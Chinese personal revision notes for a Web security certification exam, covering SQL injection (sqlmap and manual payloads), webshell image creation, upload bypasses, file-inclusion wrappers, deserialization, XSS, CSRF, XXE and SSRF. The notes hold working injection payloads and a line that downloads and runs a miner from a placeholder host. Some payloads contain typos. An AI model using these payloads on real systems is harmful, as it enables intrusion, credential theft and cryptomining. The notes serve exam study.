当你的才华
还撑不起你的野心时
那你就应该静下心来学习
明天要考CISAW-Web安全基础级证书,复习整理一下思路,明天考试
目录
sql注入时,使用sqlmap注入mysql和access数据库有什么不同
sql注入
命令执行:
xss:
csrf
xxe
ssrf
代码审计:
php基本功:
python:
三个给分点:
1.命令
mysql:
sqlmap -u url --dbs
sqlmap -u url -D 数据库名 --tables
sqlmap -u url -D 数据库名 -T 表名 --columns
sqlmap -u url -D 数据库名 -T 表名 -C 字段名 --dump
2. access:
sqlmap -u url --tables
sqlmap -u url --columns -T 表名
sqlmap -u url -T 表名 -C 字段名 --dump
3. 说出sqlmap为什么注入access没有dbs
Access 每个数据就是个单独文件,每个Access 只有表结构
图片马的制作:
写出命令即可
/a | ASCIl文本文件(默认 |
/b | 二进制文件复制——将复制扩展字符 |
windows
copy 1.jpg /b + 2.php /a hack.jpg
linux
cp 1.jpg /b + 2.php /a hack.jpg
1.union
# 判断是否存在注入
?id=1'
# 判断该注入点的长度是多少
?id=1' order by * --+
# 确认长度为*后(长度为3),获取系统信息(分别使用 user()、database()、version(),来进行查询)
?id=1' union select 1,2,version() --+
# 爆表
?id=1' union select 1,2,table_name from information_schema.tables
where table_schema='数据库名' limit 0,1 --+
# 爆字段
id=1' union select 1,2,table_column from information_schema.columns
where table_schema='数据库名' and table_name='表名' limit 0,1 --+
# 爆账号和密码
?id=1' union select 1,username,password from users limit 0,1 --+
• Booleanbase(普通盲注)
• Timebase(时间盲注)
• Errorbase(基于报错的盲注)。
至于具体分别,我们在后面的试验中会学习到。 首先我们要知道在盲注中经常用到的一些方式:
• left(database(),1) 返回 database()的最左面 1 个字符
• length(databse()) 返回数据库的长度
• substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度
• ascii() 将某个字符转换为 ascii 值
• mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
# 盲注猜解系统版本号左边开头信息
?id=1' and left(version(),1)=5 --+
# 盲注猜解系统版本长度
?id=1' and length(version())=* --+
# 盲注猜解数据库版本信息内容
?id=1' and left(version,1) > '*' --+
# 盲注猜解数据库的表的名称
?id=1' and ascii(substr((select table_name from information_schema.
tables where table_shcema=database() limit 0,1),1,1)) > 100 --+
# 盲注猜解数据库表的列名
id=1' and ascii(substr((select table_column from information_schema
columns where table_shcema='数据库名' and table_name='表名'
limit 0,1),1,1)) > 99 --+
# 盲注猜解列名的内容
# 0x20 可以作为整型常量和单字节表示,在这里作为单字节表示,可用于字符型变量的赋值,用于char时,其代表ascii码值0x20,即字符空格''
?id=1' and 1=(select ifnull(cast(username as char),0x20) from
数据库名.表名 order by id limi 0,1),1,)) = 68 --+
# 判断数据库
?id=1' and 1=(select 1 from information_schema.columns where
table_name='表名' and column_name regexp '^username' limit 0,1) > 97 --+
2.bool
# 判断,同理表名字,段名
?id=1' and length(version())=8 --+
# 爆库名
?id=1' and left((select database()),8)='security'--+
# 爆表,爆字段,爆值
3.报错(extractvalue()函数 / updatexml()函数 / floor()函数)
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
注:updatexml注入
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
4.time(sleep() / benchmark)
# 判断是否存在延时注入
?id=1' and sleep(3) --+
# 判断数据库长度是否为4,如果为真则延时3秒加载也没,为false则返回1
?id=1' and if(length(database())=4,sleep(3),1) --+
# 猜解数据库名称
?id=1' and if(left(database(),1)='d',sleep(3),1)--+
# 猜解表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
# 猜解密码字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
# 猜解账号字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
# 猜解密码字段内容
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
# 猜解账号字段内容
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
数据库
1.mysql(information_schema)
2.mssql(注入靠比大小)
3.access(没有库结构,只有表列)
注入点:
1.int
2.string
文件上传:
1. 木马
大马/小马
• 大马(功能多,代码量大)
• 小马(功能单一,一行解决)
什么情况下用小马?什么情况下用大马?什么时候用过狗马?
• 过狗小马:冰蝎小马
• 过狗大马:过狗大马
答:遇到安全狗,直接上大马。原因是菜刀流量特征明显,而大马是正常文件正常访问。小马需要菜刀连接,而大马不需要
2.上传点
• 头像
• 文件管理
• 附件管理
3.上传绕过
前端验证
禁用js
类型检测
mime
后缀名检测
各种截断
头检测
冰蝎图片木马
图片二次渲染
上传普通图片,判断渲染前和渲染后不变的位置
文件包含
远程文件包含(allow_url_include)
包含http路径,引入webshell
本地文件
包含本地敏感文件(/etc/passwd,config.ini)
伪协议
php://input 输入/输出流
php://input
php://filter PHP 归档
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
file:// 访问本地文件系统
file://etc/passwd
phar:// PHP 归档(php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压)
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
zip:// 跟phar 类似,但用法不太一样
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
危险函数(exec/system/shell_exec/popen/passthru)
代码执行:
危险函数(eval/assert/preg_replace /e参数)
反序列化:
原理:
构造函数__construct
析构函数__distruct
__sleep
__weekup
定义的类中的方法在serialize/unserialize时候引用方法,导致(变量覆盖,传入恶意代码)进而危害系统安全
xss本质是恶意的js代码插入到前端页面中执行
类型:
1.反射型
危害小,一次性,常用作钓鱼
2.存储型
危害大,持久型(常常存在数据库中),常用来打cookie或截图,getshell
3.dom型
新型xss,通常认为是反射型,出现在各种事件处,最新研究可以是持久型
通常和xss连用,不获取cookie,而是通过诱导点击/ajax伪造发包等方式发起伪造请求
xml外部实体注入,可以引入外部实体实现读取本地敏感文件
服务器端请求伪造
文件包含(include url)
命令执行(wget url)
危害:
可以控制服务器扫描内网
可以控制服务器下载挖矿(wget http://xxxxx/qwer;chmod a+x qwer;./qwer)
思路:
1.危险函数里边的可控变量
2.外部接受的变量传递流程
3.单个模块功能审计
函数(过滤,执行,string调整,匹配对比)
变量
四则运算
逻辑控制(if else)
循环(for while)
函数
库(丰富的库,requests/bs4/urllib2,os/sys,xls,math,iso)
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重